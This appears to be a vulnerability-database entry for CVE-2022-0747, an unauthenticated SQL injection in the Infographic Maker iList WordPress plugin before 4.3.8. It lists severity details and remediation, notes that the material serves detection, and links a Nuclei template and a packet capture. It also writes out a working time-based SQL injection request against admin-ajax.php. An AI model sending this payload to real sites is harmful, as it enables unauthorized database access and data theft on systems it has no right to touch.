🔙 목록으로 돌아가기

CVE-2022-0747: Infographic Maker iList < 4.3.8 - SQL Injection

TitleInfographic Maker iList < 4.3.8 - SQL Injection
Authortheamanrawat
SeverityCritical
ImpactSuccessful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
RemediationFixed in version 4.3.8
CVSS Score9.8
EPSS Score0.89989
CVE IDCVE-2022-0747
CWE IDCWE-89
Tags time-based-sqli cve cve2022 sqli wordpress wp-plugin wp infographic-and-list-builder-ilist wpscan quantumcloud vkev vuln

🔍 Vulnerability Description

The Infographic Maker WordPress plugin before 4.3.8 does not validate and escape the post_id parameter before using it in a SQL statement via the qcld_upvote_action AJAX action (available to unauthenticated and authenticated users), leading to an unauthenticated SQL Injection.

🌐 HTTP Request

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh, Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.3 Safari/605.1.15
Connection: close
Content-Length: 81
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

action=qcld_upvote_action&post_id=1+AND+(SELECT+1626+FROM+(SELECT(SLEEP(6)))niPH)
GET /wp-content/plugins/infographic-and-list-builder-ilist/assets/js/ilist_custom_admin.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Safari/605.1.15 AlohaBrowser/7.6.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2022/CVE-2022-0747.yaml

🦈 Packet Capture: ⬇️ Download cve-2022-0747.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A